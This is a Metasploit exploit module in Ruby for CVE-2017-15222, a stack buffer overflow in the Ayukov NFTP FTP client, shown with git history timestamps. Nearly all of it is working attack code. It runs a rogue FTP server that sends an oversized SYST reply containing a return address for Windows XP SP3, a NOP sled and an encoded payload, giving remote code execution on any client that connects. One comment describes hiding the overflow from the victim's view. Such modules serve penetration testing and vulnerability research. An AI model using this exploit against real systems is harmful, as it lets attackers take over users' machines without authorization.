metasploit-framework/modules/exploits/windows/ftp/ayukov_nftp.rb

109 lines
3.2 KiB
Ruby
Raw Normal View History

2017-12-31 15:43:16 +00:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
2017-12-31 15:43:16 +00:00
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
code exeuction under the context of the user if successfully exploited.
2017-12-31 15:43:16 +00:00
},
'Author' =>
[
2017-12-31 17:00:17 +00:00
'Berk Cem Goksel', # Original exploit author
'Daniel Teixeira', # MSF module author
'sinn3r' # RCA, improved module reliability and user exp
2017-12-31 15:43:16 +00:00
],
'License' => MSF_LICENSE,
'References' =>
[
2017-12-31 17:00:17 +00:00
[ 'CVE', '2017-15222'],
2017-12-31 15:43:16 +00:00
[ 'EDB', '43025' ],
],
'Payload' =>
{
'BadChars' => "\x00\x01\x0a\x10\x0d",
'StackAdjustment' => -3500
2017-12-31 15:43:16 +00:00
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
],
'Privileged' => false,
'DefaultOptions' =>
{
2017-12-31 17:48:23 +00:00
'SRVHOST' => '0.0.0.0',
2017-12-31 15:43:16 +00:00
},
2017-12-31 17:48:23 +00:00
'DisclosureDate' => 'Oct 21 2017',
2017-12-31 15:43:16 +00:00
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
])
end
def exploit
srv_ip_for_client = datastore['SRVHOST']
if srv_ip_for_client == '0.0.0.0'
if datastore['LHOST']
srv_ip_for_client = datastore['LHOST']
else
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
end
end
srv_port = datastore['SRVPORT']
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
super
end
2017-12-31 15:43:16 +00:00
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
print_status("#{client.peerhost} - connected")
2017-12-31 15:43:16 +00:00
# Let the client log in
client.get_once
print_status("#{client.peerhost} - sending 331 OK")
2017-12-31 15:43:16 +00:00
user = "331 OK.\r\n"
client.put(user)
client.get_once
print_status("#{client.peerhost} - sending 230 OK")
2017-12-31 15:43:16 +00:00
pass = "230 OK.\r\n"
client.put(pass)
# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
# is visible from the user's command prompt, which would make the buffer overflow attack too
# obvious.
sploit = "\x20"*4116
2017-12-31 15:43:16 +00:00
sploit << [target.ret].pack('V')
sploit << make_nops(10)
2017-12-31 15:43:16 +00:00
sploit << payload.encoded
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
2017-12-31 15:43:16 +00:00
sploit << "\r\n"
2017-12-31 17:00:17 +00:00
print_status("#{client.peerhost} - sending the malicious response")
2017-12-31 15:43:16 +00:00
client.put(sploit)
client.get_once
pwd = "257\r\n"
client.put(pwd)
client.get_once
end
end